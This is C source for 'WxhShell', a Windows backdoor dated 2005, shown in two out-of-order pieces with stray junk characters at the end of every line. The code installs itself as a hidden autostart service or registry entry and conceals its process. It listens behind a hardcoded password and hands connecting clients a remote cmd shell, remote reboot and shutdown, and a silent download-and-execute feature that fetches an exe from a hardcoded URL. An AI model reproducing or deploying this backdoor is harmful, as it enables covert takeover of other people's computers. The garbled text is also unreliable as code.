    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _vA\j  
    if(Boot(SHUTDOWN)) F(E3U'G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F{*S}&q*)o  
    else { *wW/nr=\;  
    closesocket(wsh); (5@9j  
    ExitThread(0); 846j<fE  
    } xwxMVp`|o  
    break; Zmf\A  
    } jKV,i?  
  // 获取shell wAE ,mw  
  case 's': { 7+aTrE{  
    CmdShell(wsh); 1-@.[VI  
    closesocket(wsh); 3 wVN:g7  
    ExitThread(0); x1)G!i  
    break;  /kGRN @  
  } 6T 2jVNg  
  // 退出 {.9phW4Vr?  
  case 'x': { DKL< "#.7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X&._<2  
    CloseIt(wsh); mLM$dk3  
    break; |RQ19m@  
    } w5"C<5^  
  // 离开 4ew|5Zex.~  
  case 'q': { +r)'?zU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S5ka;g  
    closesocket(wsh); =LJc8@<:f  
    WSACleanup(); q#B^yk|Y  
    exit(1); _+ K[1P  
    break; po_||NIY  
        } -X(%K6{  
  } !Y_"q^5GG'  
  } FKflN  
WAiEINQ^)  
  // 提示信息 BDY@&vF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +M%i3A  
} xKKL4ws  
  } 0j%@P[zQ  
<Ft6d  
  return; ' >> IMF  
} )F 6#n&2  
]H7_bix  
// shell模块句柄 Ky`rf}cI>  
int CmdShell(SOCKET sock) haW8zb0z  
{ [6qa"Ie  
STARTUPINFO si; ay#cW.,  
ZeroMemory(&si,sizeof(si)); RsU=fe,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J=>?D@K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E!'H,#"P  
PROCESS_INFORMATION ProcessInfo; cH6ie?KvAo  
char cmdline[]="cmd"; ^ pMjii8IZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WMBntB   
  return 0; +NPk9jn  
} |E!()j=  
Y."ujo#bB  
// 自身启动模式 (5{|']G  
int StartFromService(void) L7mN&Xr  
{ -yeQQ4b  
typedef struct EDvK9J  
{ 2}]6~i  
  DWORD ExitStatus; jD3,z*  
  DWORD PebBaseAddress; PaV[{ CD  
  DWORD AffinityMask; Z$0r+phQk=  
  DWORD BasePriority;  }5bh,'  
  ULONG UniqueProcessId; i0,{*LD%^  
  ULONG InheritedFromUniqueProcessId; RH ow%2D  
}   PROCESS_BASIC_INFORMATION; m_~ p G  
.%`|vGF  
PROCNTQSIP NtQueryInformationProcess; c&)H   
9}`O*A=KC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @B ~! [l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *wP8)yv7  
%f\{ ]  
  HANDLE             hProcess; 0t5>'GYX  
  PROCESS_BASIC_INFORMATION pbi; y&9S+  
VgZ<T,SuW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o^4qY  
  if(NULL == hInst ) return 0; &d`Umm]  
>joGG T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m{!BSl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gB&]kHLO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 93 x.b]] "  
rfYu8-  
  if (!NtQueryInformationProcess) return 0; '0X!_w6W  
qyUcjc%[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :7Rs$ -*Uk  
  if(!hProcess) return 0; 0{ v?  
i2.y)K)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q?8MKf[N  
Y+iC/pd  
  CloseHandle(hProcess); :tdx:  
cZ|D!1%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3k;U#H  
if(hProcess==NULL) return 0; 5h1!E  
0-0 )E&2  
HMODULE hMod; E{T\51V]%  
char procName[255]; _|DP  
unsigned long cbNeeded; &Xe r#6~  
ce2d)FG}e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qt/syF&s  
U`FybP2R~  
  CloseHandle(hProcess); >1pD'UZIy7  
@M#2T  
if(strstr(procName,"services")) return 1; // 以服务启动 MGc=TQ.  
jm RYL("  
  return 0; // 注册表启动 M=yZ5~3  
} <B`}18x  
m8 0+b8b  
// 主模块 T 6QnCmB4  
int StartWxhshell(LPSTR lpCmdLine) n ^n' lgUT  
{ bQXxb(^  
  SOCKET wsl; kjNA~{  
BOOL val=TRUE; 6;n^/3*#  
  int port=0; ,Lv} Xku  
  struct sockaddr_in door; *Z{$0K  
yl 0?Y  
  if(wscfg.ws_autoins) Install(); $k'f)E  
&tWWb`  
port=atoi(lpCmdLine); L%B+V;<h3  
) V@qH]  
if(port<=0) port=wscfg.ws_port; yqejd_cd  
]2h[.qa  
  WSADATA data; w-B\AK?}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l06 q1M 3  
GGJ_,S*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _'I9rGlx3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1'aS2vB9  
  door.sin_family = AF_INET; @b>]q$)(}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e3S6+H),I  
  door.sin_port = htons(port); } \823 U %  
}rO4b>J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DVB:8"Bu  
closesocket(wsl); N.64aL|1  
return 1; G x,D'H'  
} `/HygC6  
+uT=Wb \  
  if(listen(wsl,2) == INVALID_SOCKET) { _eO]awsA  
closesocket(wsl); 9txZ6/  
return 1; BbU&e z8P  
} e<p$Op  
  Wxhshell(wsl); yBl<E$=  
  WSACleanup(); I* bjE '  
3/[=  
return 0; VqbiZOZ@  
/ZzlC#`  
} F;b|A`M  
&a|oJ'clz  
// 以NT服务方式启动 VtKN{sSnu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SHGO;  
{ ^M80 F7  
DWORD   status = 0; !3b%Q</M H  
  DWORD   specificError = 0xfffffff; kEXcEF_9P  
nuCK7X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w+MdQ@'5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "~[Rwh?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Gg!))I+  
  serviceStatus.dwWin32ExitCode     = 0; TtvS|09p;  
  serviceStatus.dwServiceSpecificExitCode = 0; [-CG&l2?L  
  serviceStatus.dwCheckPoint       = 0; S :}s|![p  
  serviceStatus.dwWaitHint       = 0; +p[~hM6?  
$?s^HKF~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 869`jA &7"  
  if (hServiceStatusHandle==0) return; ]u,~/Gy  
lvN{R{7 >  
status = GetLastError(); 0GR9opZtA  
  if (status!=NO_ERROR) ~H$XSNPi  
{ )s8r(.W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w %zw+E  
    serviceStatus.dwCheckPoint       = 0; 7 dzE"m  
    serviceStatus.dwWaitHint       = 0; RasoOj$  
    serviceStatus.dwWin32ExitCode     = status; a(7ryl~c=  
    serviceStatus.dwServiceSpecificExitCode = specificError; P~ykC{nD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g\l;>  
    return; s +GF- kJ*  
  } &-* nr/xT  
9?:S:Sq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K$ &wO.  
  serviceStatus.dwCheckPoint       = 0; 4W?<hv+k7*  
  serviceStatus.dwWaitHint       = 0; m7"f6zSo(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kmoJ`W} N  
} 3/AUV%+  
v<SEGv-  
// 处理NT服务事件,比如:启动、停止 KRtu@;?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HZm i ?  
{ j[fQs,efK  
switch(fdwControl) M BT-L  
{ 6:,^CI|@ t  
case SERVICE_CONTROL_STOP: ["F,|e{y$  
  serviceStatus.dwWin32ExitCode = 0; W~tOH=9>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NM@An2  
  serviceStatus.dwCheckPoint   = 0; , .I^ekF  
  serviceStatus.dwWaitHint     = 0; k)s 7Ev*  
  { J$Epj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dkb&/k:)  
  } [Mz;:/  
  return; l:eNu}{&  
case SERVICE_CONTROL_PAUSE: nrIL_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F4Uk+|]Bu  
  break; 9ojhI=:  
case SERVICE_CONTROL_CONTINUE: ^0Q*o1W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G C'%s  
  break; p]&Q`oh  
case SERVICE_CONTROL_INTERROGATE: pCc7T-"og  
  break; G 7]wg>*  
}; h*UUtLi%WU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S=p u  
} 'I]"=O,  
8>q% 1]X  
// 标准应用程序主函数 YSo7~^1W"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XL^N5  
{ ?MM3LA! <  
^4pKsO3ul  
// 获取操作系统版本 }G+A_HF ^  
OsIsNt=GetOsVer(); C-u/{CP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4QAIQQS  
X3{1DY3@u  
  // 从命令行安装 *t{c}Y&@  
  if(strpbrk(lpCmdLine,"iI")) Install(); MuV0;K \  
vQ mackY  
  // 下载执行文件 -!,]Y10  
if(wscfg.ws_downexe) { ~88 Tz+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) { $/Fk6qr  
  WinExec(wscfg.ws_filenam,SW_HIDE); o?K|[gNi  
} yVHlT  
F.pHL)37  
if(!OsIsNt) { k(z<Bm  
// 如果时win9x,隐藏进程并且设置为注册表启动 :$i:8lz  
HideProc(); |4. o$*0Y  
StartWxhshell(lpCmdLine); /lB0>Us  
} ` .(S#!gw  
else ~}-p5q2  
  if(StartFromService()) V/}>>4  
  // 以服务方式启动 I.+)sB?5  
  StartServiceCtrlDispatcher(DispatchTable); ht3T{4qCS  
else }&T<wm!  
  // 普通方式启动 e=o{Zo?H=  
  StartWxhshell(lpCmdLine); 9LO.8Jy  
QHs:=i~VH  
return 0; _8b]o~[Z+  
} 207O["Y  
%Mng8r  
bI]UO)  
R g0 XW6  
=========================================== jUJTcL  
T dP{{&'9  
?[ S >&Vq  
j&[.2PW\  
>!Ap/{2  
 m-'(27  
" VUy)4*  
<a+eF}*2  
#include <stdio.h> K\KO5A  
#include <string.h> 3W-NS~y  
#include <windows.h> 827)n[#%|  
#include <winsock2.h> l0caP(  
#include <winsvc.h> }^pQbFku  
#include <urlmon.h> cCh0?g7nV  
*]m kyAhi  
#pragma comment (lib, "Ws2_32.lib") 3j+=3n,  
#pragma comment (lib, "urlmon.lib") W7*_T]  
i|c`M/) h:  
#define MAX_USER   100 // 最大客户端连接数 /=muj9|+s  
#define BUF_SOCK   200 // sock buffer lbKv  
#define KEY_BUFF   255 // 输入 buffer RD6h=n4B  
g]Xzio&w  
#define REBOOT     0   // 重启 9B+ zJ Vte  
#define SHUTDOWN   1   // 关机 _b!;(~ @p  
R(2HY Z  
#define DEF_PORT   5000 // 监听端口 }RA3$%3  
kMl@v`  
#define REG_LEN     16   // 注册表键长度 8K@"B  
#define SVC_LEN     80   // NT服务名长度 HzD>-f  
nE]~E xr  
// 从dll定义API V@#*``M,3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b`h%W"|2L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [GR]!\!%~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1Lm].tq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ad]<e?oN=  
]RH=s7L  
// wxhshell配置信息 C.yY8?|  
struct WSCFG { di3 B=A>3  
  int ws_port;         // 监听端口 1u"R=D9p,=  
  char ws_passstr[REG_LEN]; // 口令 CB*`  
  int ws_autoins;       // 安装标记, 1=yes 0=no #<a_: m)@  
  char ws_regname[REG_LEN]; // 注册表键名 5i!V}hE  
  char ws_svcname[REG_LEN]; // 服务名 )l+XDI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -1jjB1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [2GXAvXsT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nB cp7e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I@3Q=14k%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [;(]Jy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GXOFk7>  
)u39}dpeu  
}; +M44XhT  
8w)e/*:j  
// default Wxhshell configuration PHQ{-b?4t  
struct WSCFG wscfg={DEF_PORT, R&6n?g6@/V  
    "xuhuanlingzhe", *'Z-OY<V  
    1, IXGW2z;  
    "Wxhshell", GN\8![J  
    "Wxhshell", kRmj"9oA  
            "WxhShell Service", E^b pckP  
    "Wrsky Windows CmdShell Service", Y.DwtfE  
    "Please Input Your Password: ", iKg75%;t  
  1, = y?#^  
  "http://www.wrsky.com/wxhshell.exe", NNwc!x)*  
  "Wxhshell.exe" 6 0`+ 9(^  
    }; 3H1Pp*PH  
 qovQ9O  
// 消息定义模块 t Y{; U#9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @Ppo &>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pPoH5CzcK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0r1g$mKb  
char *msg_ws_ext="\n\rExit."; ows^W8-w  
char *msg_ws_end="\n\rQuit."; Uf# PoQ!y  
char *msg_ws_boot="\n\rReboot..."; T'hml   
char *msg_ws_poff="\n\rShutdown..."; ,,S9$@R  
char *msg_ws_down="\n\rSave to "; a IQOs  
e[s5N:IUd3  
char *msg_ws_err="\n\rErr!"; <lFdexH"T  
char *msg_ws_ok="\n\rOK!"; *]5z^> q;7  
mn. `qfMh  
char ExeFile[MAX_PATH]; QO@6VY@  
int nUser = 0; m)r]F#@/  
HANDLE handles[MAX_USER]; TfL4_IAG.  
int OsIsNt; P2On k l  
m`'=)x|  
SERVICE_STATUS       serviceStatus; 7UnzIe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JfkTw~'R  
G[#.mD{k  
// 函数声明 Rxx>{+f4M  
int Install(void); WJAYM2 6\  
int Uninstall(void); Fqo&3+J4  
int DownloadFile(char *sURL, SOCKET wsh); ovz#  
int Boot(int flag); i(0hvV>'  
void HideProc(void); e[}],W  
int GetOsVer(void); '|&,E#`  
int Wxhshell(SOCKET wsl); bjlkX[{}I  
void TalkWithClient(void *cs); ~ Yl<S(/4  
int CmdShell(SOCKET sock); $Buf#8)F*  
int StartFromService(void); Pw= 3PvkL  
int StartWxhshell(LPSTR lpCmdLine); i *B:El1  
WKxm9y V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q@%h^9.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FRgLlp8x  
66 N)  
// 数据结构和表定义 c#  xO<  
SERVICE_TABLE_ENTRY DispatchTable[] = EMh r6</  
{  \dTQQ  
{wscfg.ws_svcname, NTServiceMain}, }'TTtV:Q  
{NULL, NULL} dgslUg9z3g  
}; kxh 5}eB  
{V0>iN:~S  
// 自我安装 xZyeX34{M;  
int Install(void) E+z18Lf?  
{ <raG07{!*  
  char svExeFile[MAX_PATH]; q3)wr%!k5D  
  HKEY key; U{}!y3[wK  
  strcpy(svExeFile,ExeFile); ]26mB  
]~8v^A7u  
// 如果是win9x系统,修改注册表设为自启动 5%P[^}  
if(!OsIsNt) { i b]vX-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H_Os4}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FCiq?@  
  RegCloseKey(key); # k9 <  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FsY(02  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UiIF6-ZZ!  
  RegCloseKey(key); q@kOTkHv)  
  return 0; sAYV)w3u"  
    } (a }J$:  
  } q{E"pyt36R  
} j#VIHCzlr  
else { KDD@%E  
vCb]%sd-U  
// 如果是NT以上系统,安装为系统服务 \QT9HAdd@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7~b!4x|Z  
if (schSCManager!=0) /.P9MSz0G  
{ /C$ xH@bb  
  SC_HANDLE schService = CreateService d0 -~| `5  
  ( /.$L"u  
  schSCManager, '9J*6uXf.  
  wscfg.ws_svcname, a4&:@`=  
  wscfg.ws_svcdisp, SY1GR n  
  SERVICE_ALL_ACCESS, *Hs*,}MS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?4G(N=/&  
  SERVICE_AUTO_START, TnA?u (R%  
  SERVICE_ERROR_NORMAL, Z^# ]#f  
  svExeFile, .X'< D*  
  NULL, ,w2WS\`%  
  NULL, .N"~zOV<#  
  NULL, DZs^ 2Zc  
  NULL, iF9_b  
  NULL 4x,hj  
  ); }Hy ~i  
  if (schService!=0) *eUc.MX6x  
  {  KG8W8&q  
  CloseServiceHandle(schService); =_PvrB2'  
  CloseServiceHandle(schSCManager); N:x0w+Ca  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D.*>;5:0'  
  strcat(svExeFile,wscfg.ws_svcname); l6 7KJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z[9UQU~x?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Sj-[%D*  
  RegCloseKey(key); _%ZP{5D>  
  return 0; ;6m;M63z  
    } >85zQ 1aL  
  } 'RTtE  
  CloseServiceHandle(schSCManager); 6sB$<#  
} K]fpGo  
} 3nFt1E   
"&QH6B1U6H  
return 1; @`|)Ia<  
} H+l,)Se  
B8V,)rn  
// 自我卸载 4# )6.f~  
int Uninstall(void) U7H9/<&o  
{ ?CY1]d  
  HKEY key; 1`-r#-MGG  
kMxjS^fr  
if(!OsIsNt) { -Mf Q&U   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {gU&%j  
  RegDeleteValue(key,wscfg.ws_regname); '*R%^RK  
  RegCloseKey(key); $1 @,Qor  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tu}>:mk  
  RegDeleteValue(key,wscfg.ws_regname); =+oZtP-+o  
  RegCloseKey(key); \:&@;!a  
  return 0; \Tm}mAvK/o  
  } ngyY  
} k4y}&?$B  
} 6 bO;&  
else { A6p`ma $L  
~&g a1r2v?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $f-hUOuyo  
if (schSCManager!=0) '^}+Fv<O  
{ VKrShI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =r6qX  
  if (schService!=0) rC }}r!!  
  { rVzI_zYqp'  
  if(DeleteService(schService)!=0) { ( ?Q|s,  
  CloseServiceHandle(schService); y0IK,W'&?  
  CloseServiceHandle(schSCManager); -s"0/)HD  
  return 0; +AI`R`Tm  
  } /[pqI0sf<A  
  CloseServiceHandle(schService); <avQR9'&  
  } WS,7dz  
  CloseServiceHandle(schSCManager); 5D' bJ6PO  
} Ai kf|)D[  
} /A07s[L  
D>kD1B1  
return 1; (tCib 4  
} hbfq]v*X  
Zb(t3I>n  
// 从指定url下载文件 srmKaa|  
int DownloadFile(char *sURL, SOCKET wsh) I}.i@d'O  
{ S; /. %  
  HRESULT hr; d3^7ag%  
char seps[]= "/"; YfDWM7x7,  
char *token; ,XB%\[pKe  
char *file; ;l!`C':'  
char myURL[MAX_PATH]; yrr) y  
char myFILE[MAX_PATH]; ?R'Y?b  
# c Fr   
strcpy(myURL,sURL); TFH&(_b  
  token=strtok(myURL,seps); 4gZ &^y'  
  while(token!=NULL) OW5t[~y]  
  { id,NONb\  
    file=token; Ge \["`;i  
  token=strtok(NULL,seps); (Hp'B))2  
  } .+.j*>q>u  
{j SmoA  
GetCurrentDirectory(MAX_PATH,myFILE);  ^jyD#  
strcat(myFILE, "\\"); Ix8$njp[  
strcat(myFILE, file); O4|2|sA  
  send(wsh,myFILE,strlen(myFILE),0); ~`cwG` 'N  
send(wsh,"...",3,0); S!Jh2tsg`-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #R5U   
  if(hr==S_OK) ,=PKd&  
return 0; 6"QEJ  
else j1U 5~%^  
return 1; u, kU$  
erFv(eaDK  
} `f`TS#V  
P:{<*`q  
// 系统电源模块 ]<trA$ 0  
int Boot(int flag) ls|LCQPx  
{ 82:Wvp6  
  HANDLE hToken; x` /)g(  
  TOKEN_PRIVILEGES tkp; :tj-gDa\Y  
SbT5u3,'  
  if(OsIsNt) { ;Yts\4BSM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y A&`&$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PkUd~c  
    tkp.PrivilegeCount = 1; IVjU`ij  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7@;">`zvm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j8$Zv%Ca%  
if(flag==REBOOT) { @;^Y7po6u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cxP&^,~  
  return 0; y8 E}2/  
} q]c5MlJXF  
else { 9F##F-%x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 46x.i;b7  
  return 0; U ?b".hJ2  
} (q;bg1\UK  
  } ;hDa@3|]34  
  else { <+U|dX  
if(flag==REBOOT) { _D;@v?n6!O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *@S@x{{s  
  return 0; ^v ni&sJ  
} wEEn?  
else { WFv!Pbq,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,.mBJ SE3  
  return 0; u$*>`Xe6  
} nzsl@1s  
} {qpi?oY  
ZxHJ<2oD  
return 1; lK(Fg  
} e XV@.  
\k@$~}xD,  
// win9x进程隐藏模块 *75YGD  
void HideProc(void) Z~u9VYi!  
{ 5<+K?uhm  
-j`LhS~|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wN Wka7P*  
  if ( hKernel != NULL ) H Sz" tN  
  { (?i[jO||B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FfFak@H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +l 0g`:  
    FreeLibrary(hKernel); 93Yn`Av;  
  } SaDA`JmO  
3YL l;TP_  
return; *dsX#Iz  
} 1y5Ex:JVZT  
~(X(&  
// 获取操作系统版本 Af-UScD%G  
int GetOsVer(void) ;)hw%Z]Jj$  
{ K~6e5D7.  
  OSVERSIONINFO winfo; 3vic(^Qh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F jrINxL7^  
  GetVersionEx(&winfo); AR&:Q4r|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +]wuJSxc  
  return 1; q9*MNHg }  
  else <M+R\SH-  
  return 0; Lxe^v/LsT  
} ;sOsT?)7$  
OSDy'@   
// 客户端句柄模块 \=e8%.#@J  
int Wxhshell(SOCKET wsl) /bVZ::A&_  
{ YZwaD b  
  SOCKET wsh; J7$_VP  
  struct sockaddr_in client; n! h7   
  DWORD myID; S-F o  
4Y ROB912  
  while(nUser<MAX_USER) <PD?f/4 /  
{ WI[:-cv  
  int nSize=sizeof(client); FY'dJY3O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }SfbCa)UO  
  if(wsh==INVALID_SOCKET) return 1; 7[#xOZT  
(/{aJV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z~oDWANP  
if(handles[nUser]==0) 4 gBp8*2  
  closesocket(wsh); >)nS2b OE  
else t;q7t!sC]  
  nUser++; nvq3*  
  } JMa3btLy(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V%ii3  
"M H6fF  
  return 0; Qyh/ed/  
} yW7'?  
l|`^*%W@u6  
// 关闭 socket Snw3`|Y~<  
void CloseIt(SOCKET wsh) PGn);Baq  
{ lU4}B`#"v  
closesocket(wsh); PS>x,T  
nUser--; [AzO:A  
ExitThread(0); > 0>  
} Qd`T5[b\  
d j5hv~  
// 客户端请求句柄 d5m`Bm-{  
void TalkWithClient(void *cs) %j,iAUE<  
{ ^rAa"p9  
+OaUP*\Dd  
  SOCKET wsh=(SOCKET)cs; /pH(WHT+/H  
  char pwd[SVC_LEN]; + %*&.@z_  
  char cmd[KEY_BUFF]; Qs 2.ef?  
char chr[1]; <, @%*G1-  
int i,j; #J\rv'  
*|:Q%xr-  
  while (nUser < MAX_USER) { 7L(e h7  
MN8H;0g-  
if(wscfg.ws_passstr) { B;#J"6w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @4+#Xd7"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~Qj}ijWD  
  //ZeroMemory(pwd,KEY_BUFF); HTjkR*E  
      i=0; B|Wk?w.{r\  
  while(i<SVC_LEN) { :3ZYJW1  
b'p4wE>  
  // 设置超时 "jg@w%~  
  fd_set FdRead; +b$S~0n   
  struct timeval TimeOut; 47By`Jh71  
  FD_ZERO(&FdRead); T2'RATfG  
  FD_SET(wsh,&FdRead); 8G^<[`.@j  
  TimeOut.tv_sec=8; 7{kP}?  
  TimeOut.tv_usec=0;  ht97s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %/9;ZV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R`'1t3p0i  
\}*k)$r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fC-P.:F#I  
  pwd=chr[0]; @'FE2^~Jj  
  if(chr[0]==0xd || chr[0]==0xa) { ,ZE?{G{tuj  
  pwd=0; :*i f  
  break; {<$b Aj  
  } D)$8 W[  
  i++; Kyg=$^{>G  
    } <O~WB  
Bik*b)9y2  
  // 如果是非法用户,关闭 socket *s4\\Wb=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a>mMvc"  
} @\P4/+"9  
y*b3&%.ml  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;iYff N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u0s8yPA  
T/r#H__`  
while(1) { p]G3)s@>  
w!^~<{ Kz  
  ZeroMemory(cmd,KEY_BUFF); G7LIdn=  
Q\Kx"Y3i  
      // 自动支持客户端 telnet标准   Td\o9  
  j=0; (K..k-o`.  
  while(j<KEY_BUFF) { E)N<lh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8AFczeg[[  
  cmd[j]=chr[0]; 3)Ac"nuyqH  
  if(chr[0]==0xa || chr[0]==0xd) { O~Wt600{E  
  cmd[j]=0; s Kicn5  
  break; T Eu'*>g  
  } /1w2ehE<  
  j++; :\ QUs}  
    } ?*"srE,#JX  
.Nm su+s  
  // 下载文件 T? ,P*l  
  if(strstr(cmd,"http://")) { "UVFU-Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s0u{d qP  
  if(DownloadFile(cmd,wsh)) F _3:bX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AvJ,SQt  
  else gN6rp(?y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <PN"oa#  
  } zy'D!db`Z  
  else { &} 6KPA;  
ksR1k vTm  
    switch(cmd[0]) { 0ZpFE&  
  CO+/.^s7}S  
